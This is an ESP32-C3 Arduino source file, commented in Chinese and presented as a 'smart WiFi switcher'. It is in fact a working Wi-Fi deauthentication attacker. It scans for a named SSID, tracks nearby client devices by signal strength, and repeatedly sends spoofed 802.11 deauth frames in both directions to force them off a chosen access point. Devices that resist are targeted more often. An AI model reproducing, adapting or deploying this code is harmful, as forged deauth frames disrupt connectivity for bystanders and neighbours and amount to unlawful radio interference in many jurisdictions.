switherwifi

/*
 * ESP32-C3 智能WiFi切换器 - 改进版
 *
 * 改进点:
 * 1. 更准确的A路由器识别(信号强度 + 稳定性)
 * 2. 多种帧类型检测(Probe Request + Data + Association)
 * 3. 自适应RSSI阈值(自动学习模式)
 * 4. 智能Deauth频率(根据设备响应调整)
 * 5. 详细的调试信息和统计
 */

#include <WiFi.h>
#include "esp_wifi.h"

// ==================== 配置区 ====================
const char* TARGET_SSID = "HUAWEI";           // WiFi名称
const int RSSI_THRESHOLD = -68;                // B房间触发阈值(可自动校准)
const int MAX_CLIENTS = 25;
const unsigned long CLIENT_TIMEOUT = 15000;    // 15秒没看到就移除
const unsigned long DEAUTH_INTERVAL = 1200;    // Deauth间隔(毫秒)
const int SCAN_DURATION = 42000;               // 扫描时长(毫秒)
const int SCAN_CHANNEL_DWELL = 280;            // 每个信道停留时间(毫秒)

// 自动校准模式(设为true时,前60秒只监听不干扰,学习RSSI分布)
const bool AUTO_CALIBRATE = false;
const unsigned long CALIBRATE_DURATION = 60000;

// ==================== 数据结构 ====================
struct ClientInfo {
  uint8_t mac[6];
  unsigned long lastSeen;
  int lastRSSI;
  int deauthCount;           // 已发送的deauth次数
  unsigned long lastDeauth;  // 上次deauth时间
  bool isStubborn;           // 是否是"顽固"设备(需要更频繁干扰)
};

struct APCandidate {
  uint8_t bssid[6];
  int channel;
  int rssi;
  int beaconCount;           // 看到的beacon数量(用于判断稳定性)
  unsigned long lastSeen;
};

// ==================== 全局变量 ====================
ClientInfo activeClients[MAX_CLIENTS];
int clientCount = 0;

APCandidate apCandidates[10];  // 最多记录10个候选AP
int candidateCount = 0;

uint8_t A_BSSID[6] = {0};
int A_CHANNEL = 0;
bool A_found = false;

int minRssiSeen = 100;
int maxRssiSeen = -100;
uint8_t bestBSSID[6] = {0};
int bestChannel = 0;

unsigned long lastDeauthTime = 0;
unsigned long lastCleanupTime = 0;
unsigned long lastStatsTime = 0;
unsigned long startTime = 0;

// 统计信息
unsigned long totalDeauthSent = 0;
unsigned long totalClientsDetected = 0;
int currentRssiThreshold = RSSI_THRESHOLD;

wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();

// ==================== 辅助函数 ====================

// 格式化MAC地址
void formatMAC(const uint8_t* mac, char* output) {
  sprintf(output, "%02X:%02X:%02X:%02X:%02X:%02X",
          mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}

// 添加或更新AP候选
void addOrUpdateAPCandidate(const uint8_t* bssid, int channel, int rssi) {
  // 查找是否已存在
  for (int i = 0; i < candidateCount; i++) {
    if (memcmp(apCandidates[i].bssid, bssid, 6) == 0) {
      apCandidates[i].rssi = (apCandidates[i].rssi + rssi) / 2;  // 平均RSSI
      apCandidates[i].beaconCount++;
      apCandidates[i].lastSeen = millis();
      return;
    }
  }

  // 添加新候选
  if (candidateCount < 10) {
    memcpy(apCandidates[candidateCount].bssid, bssid, 6);
    apCandidates[candidateCount].channel = channel;
    apCandidates[candidateCount].rssi = rssi;
    apCandidates[candidateCount].beaconCount = 1;
    apCandidates[candidateCount].lastSeen = millis();
    candidateCount++;
  }
}

// 选择最佳A路由器(综合考虑信号强度和稳定性)
void selectBestAP() {
  int bestScore = -1000;
  int bestIndex = -1;

  for (int i = 0; i < candidateCount; i++) {
    // 评分 = RSSI弱(负数小)+ beacon稳定性
    // 我们要找信号最弱但稳定的那个
    int score = -apCandidates[i].rssi + (apCandidates[i].beaconCount * 2);

    if (score > bestScore) {
      bestScore = score;
      bestIndex = i;
    }
  }

  if (bestIndex >= 0) {
    memcpy(A_BSSID, apCandidates[bestIndex].bssid, 6);
    A_CHANNEL = apCandidates[bestIndex].channel;
    minRssiSeen = apCandidates[bestIndex].rssi;
    A_found = true;

    char macStr[18];
    formatMAC(A_BSSID, macStr);
    Serial.printf("✅ 锁定 A 路由器!\n");
    Serial.printf("   BSSID: %s\n", macStr);
    Serial.printf("   信道: %d\n", A_CHANNEL);
    Serial.printf("   RSSI: %d dBm\n", minRssiSeen);
    Serial.printf("   稳定性: %d beacons\n", apCandidates[bestIndex].beaconCount);
    Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
  }
}

// 添加或更新客户端
void addOrUpdateClient(const uint8_t* mac, int rssi) {
  // 检查是否已存在
  for (int i = 0; i < clientCount; i++) {
    if (memcmp(activeClients[i].mac, mac, 6) == 0) {
      activeClients[i].lastSeen = millis();
      activeClients[i].lastRSSI = rssi;

      // 更新RSSI统计
      if (rssi > maxRssiSeen) maxRssiSeen = rssi;
      if (rssi < minRssiSeen) minRssiSeen = rssi;

      return;
    }
  }

  // 添加新客户端
  if (clientCount < MAX_CLIENTS) {
    memcpy(activeClients[clientCount].mac, mac, 6);
    activeClients[clientCount].lastSeen = millis();
    activeClients[clientCount].lastRSSI = rssi;
    activeClients[clientCount].deauthCount = 0;
    activeClients[clientCount].lastDeauth = 0;
    activeClients[clientCount].isStubborn = false;

    totalClientsDetected++;
    clientCount++;

    char macStr[18];
    formatMAC(mac, macStr);
    Serial.printf("🆕 新设备进入B房间: %s (RSSI: %d dBm)\n", macStr, rssi);
  }
}

// 发送针对性Deauth
void sendTargetedDeauth(const uint8_t* clientMac, int index) {
  uint8_t deauthFrame[26];

  // AP → Client
  memcpy(deauthFrame, (uint8_t*)"\xC0\x00\x00\x00", 4);
  memcpy(deauthFrame + 4, clientMac, 6);
  memcpy(deauthFrame + 10, A_BSSID, 6);
  memcpy(deauthFrame + 16, A_BSSID, 6);
  deauthFrame[22] = 0x00; deauthFrame[23] = 0x00;
  deauthFrame[24] = 0x07; deauthFrame[25] = 0x00;
  esp_wifi_80211_tx(WIFI_IF_STA, deauthFrame, 26, false);

  // Client → AP(更有效)
  memcpy(deauthFrame + 4, A_BSSID, 6);
  memcpy(deauthFrame + 10, clientMac, 6);
  memcpy(deauthFrame + 16, A_BSSID, 6);
  esp_wifi_80211_tx(WIFI_IF_STA, deauthFrame, 26, false);

  // 更新统计
  activeClients[index].deauthCount++;
  activeClients[index].lastDeauth = millis();
  totalDeauthSent += 2;

  // 判断是否是顽固设备(发了5次还在)
  if (activeClients[index].deauthCount > 5) {
    activeClients[index].isStubborn = true;
  }
}

// 嗅探回调
void sniffer(void* buf, wifi_promiscuous_pkt_type_t type) {
  if (type != WIFI_PKT_MGMT) return;

  wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
  uint8_t* payload = pkt->payload;
  int rssi = pkt->rx_ctrl.rssi;

  if (rssi == 0) return;

  uint8_t frameType = payload[0];

  // 扫描阶段:收集Beacon
  if (!A_found) {
    if (frameType == 0x80) {  // Beacon
      uint8_t bssid[6];
      memcpy(bssid, &payload[10], 6);

      int pos = 24;
      bool ssidMatch = false;
      int ch = -1;

      while (pos + 2 < pkt->rx_ctrl.sig_len) {
        uint8_t tag = payload[pos];
        uint8_t len = payload[pos + 1];

        if (tag == 0 && len > 0 && len < 33) {  // SSID
          char ssid[33] = {0};
          memcpy(ssid, &payload[pos + 2], len);
          if (strcmp(ssid, TARGET_SSID) == 0) {
            ssidMatch = true;
          }
        }

        if (tag == 3 && len == 1) {  // DS Parameter Set
          ch = payload[pos + 2];
        }

        pos += 2 + len;
      }

      if (ssidMatch && ch > 0) {
        addOrUpdateAPCandidate(bssid, ch, rssi);
      }
    }
    return;
  }

  // 监听阶段:检测客户端
  uint8_t clientMac[6];
  bool isRelevant = false;

  // Probe Request (0x40)
  if (frameType == 0x40) {
    memcpy(clientMac, &payload[10], 6);  // addr2 = 发送者
    isRelevant = true;
  }
  // Data frames (0x08, 0x88, 0x48...)
  else if ((frameType & 0x0C) == 0x08) {
    // ToDS=1: addr2是发送者(STA)
    if (payload[1] & 0x01) {
      memcpy(clientMac, &payload[10], 6);
      isRelevant = true;
    }
  }
  // Association Request (0x00)
  else if (frameType == 0x00) {
    memcpy(clientMac, &payload[10], 6);
    isRelevant = true;
  }

  if (isRelevant) {
    // 过滤掉AP自己和广播
    if (memcmp(clientMac, A_BSSID, 6) != 0 &&
        memcmp(clientMac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6) != 0) {

      // 校准模式:只记录不干扰
      if (AUTO_CALIBRATE && millis() - startTime < CALIBRATE_DURATION) {
        if (rssi > maxRssiSeen) maxRssiSeen = rssi;
        if (rssi < minRssiSeen) minRssiSeen = rssi;
        return;
      }

      // 正常模式:RSSI超过阈值才加入列表
      if (rssi > currentRssiThreshold) {
        addOrUpdateClient(clientMac, rssi);
      }
    }
  }
}

// 扫描A路由器
void scanForA() {
  Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
  Serial.println("🔍 正在扫描并识别 A 路由器...");
  Serial.printf("   目标SSID: %s\n", TARGET_SSID);
  Serial.printf("   扫描时长: %d 秒\n", SCAN_DURATION / 1000);
  Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");

  unsigned long scanStart = millis();
  int scanRounds = 0;

  while (millis() - scanStart < SCAN_DURATION) {
    for (int ch = 1; ch <= 13; ch++) {
      esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
      delay(SCAN_CHANNEL_DWELL);
    }
    scanRounds++;

    // 每轮显示进度
    if (scanRounds % 3 == 0) {
      Serial.printf("   扫描进度: %d%%  (发现 %d 个候选AP)\n",
                    (int)((millis() - scanStart) * 100 / SCAN_DURATION),
                    candidateCount);
    }
  }

  Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
  Serial.printf("📊 扫描完成!共发现 %d 个候选AP\n", candidateCount);

  if (candidateCount > 0) {
    // 显示所有候选
    Serial.println("\n候选AP列表:");
    for (int i = 0; i < candidateCount; i++) {
      char macStr[18];
      formatMAC(apCandidates[i].bssid, macStr);
      Serial.printf("  %d. %s  Ch:%d  RSSI:%d  Beacons:%d\n",
                    i + 1, macStr, apCandidates[i].channel,
                    apCandidates[i].rssi, apCandidates[i].beaconCount);
    }
    Serial.println();

    selectBestAP();

    if (A_found) {
      esp_wifi_set_channel(A_CHANNEL, WIFI_SECOND_CHAN_NONE);

      if (AUTO_CALIBRATE) {
        Serial.println("🎯 进入自动校准模式(60秒)...");
        Serial.println("   请在B房间走动,让设备学习RSSI分布");
      }
    }
  } else {
    Serial.println("❌ 未找到匹配的WiFi!");
    Serial.println("   请检查:");
    Serial.println("   1. SSID是否正确(区分大小写)");
    Serial.println("   2. 路由器是否开启");
    Serial.println("   3. ESP32是否在信号范围内");
  }
}

// 打印统计信息
void printStats() {
  Serial.println("\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
  Serial.println("📊 运行统计");
  Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
  Serial.printf("运行时间: %lu 秒\n", (millis() - startTime) / 1000);
  Serial.printf("当前活跃设备: %d\n", clientCount);
  Serial.printf("累计检测设备: %lu\n", totalClientsDetected);
  Serial.printf("累计发送Deauth: %lu\n", totalDeauthSent);
  Serial.printf("RSSI阈值: %d dBm\n", currentRssiThreshold);
  Serial.printf("RSSI范围: %d ~ %d dBm\n", minRssiSeen, maxRssiSeen);

  if (clientCount > 0) {
    Serial.println("\n当前设备列表:");
    for (int i = 0; i < clientCount; i++) {
      char macStr[18];
      formatMAC(activeClients[i].mac, macStr);
      Serial.printf("  %s  RSSI:%d  Deauth:%d  %s\n",
                    macStr, activeClients[i].lastRSSI,
                    activeClients[i].deauthCount,
                    activeClients[i].isStubborn ? "[顽固]" : "");
    }
  }
  Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n");
}

// ==================== 主程序 ====================

void setup() {
  Serial.begin(115200);
  delay(1000);

  Serial.println("\n\n");
  Serial.println("╔════════════════════════════════════════╗");
  Serial.println("║  ESP32-C3 智能WiFi切换器 - 改进版     ║");
  Serial.println("║  版本: 2.0                             ║");
  Serial.println("╚════════════════════════════════════════╝");
  Serial.println();

  startTime = millis();

  WiFi.mode(WIFI_MODE_STA);
  esp_wifi_init(&cfg);
  esp_wifi_set_mode(WIFI_MODE_STA);
  esp_wifi_start();
  esp_wifi_set_promiscuous(true);
  esp_wifi_set_promiscuous_rx_cb(sniffer);

  scanForA();
}

void loop() {
  if (!A_found) {
    delay(5000);
    return;
  }

  unsigned long now = millis();

  // 自动校准模式
  if (AUTO_CALIBRATE && now - startTime == CALIBRATE_DURATION) {
    // 校准完成,设置阈值为最大RSSI - 5dBm
    currentRssiThreshold = maxRssiSeen - 5;
    Serial.println("\n✅ 自动校准完成!");
    Serial.printf("   检测到RSSI范围: %d ~ %d dBm\n", minRssiSeen, maxRssiSeen);
    Serial.printf("   设置阈值为: %d dBm\n", currentRssiThreshold);
    Serial.println("   开始正常工作...\n");
  }

  // 清理过期客户端
  if (now - lastCleanupTime > 5000) {
    lastCleanupTime = now;
    for (int i = 0; i < clientCount; i++) {
      if (now - activeClients[i].lastSeen > CLIENT_TIMEOUT) {
        char macStr[18];
        formatMAC(activeClients[i].mac, macStr);
        Serial.printf("👋 设备离开B房间: %s\n", macStr);

        // 移除
        for (int j = i; j < clientCount - 1; j++) {
          activeClients[j] = activeClients[j + 1];
        }
        clientCount--;
        i--;
      }
    }
  }

  // 执行Deauth
  if (now - lastDeauthTime > DEAUTH_INTERVAL && clientCount > 0) {
    // 跳过校准期
    if (AUTO_CALIBRATE && now - startTime < CALIBRATE_DURATION) {
      delay(50);
      return;
    }

    lastDeauthTime = now;
    Serial.printf("🚨 检测到 %d 个设备在B房间,正在切换...\n", clientCount);

    for (int i = 0; i < clientCount; i++) {
      // 顽固设备更频繁干扰
      if (activeClients[i].isStubborn) {
        if (now - activeClients[i].lastDeauth < 500) {
          continue;  // 刚发过,跳过
        }
      }

      sendTargetedDeauth(activeClients[i].mac, i);

      char macStr[18];
      formatMAC(activeClients[i].mac, macStr);
      Serial.printf("   → %s (RSSI:%d, 已发:%d次%s)\n",
                    macStr, activeClients[i].lastRSSI,
                    activeClients[i].deauthCount,
                    activeClients[i].isStubborn ? " [顽固]" : "");
    }
  }

  // 定期打印统计
  if (now - lastStatsTime > 30000) {  // 每30秒
    lastStatsTime = now;
    printStats();
  }

  delay(50);
}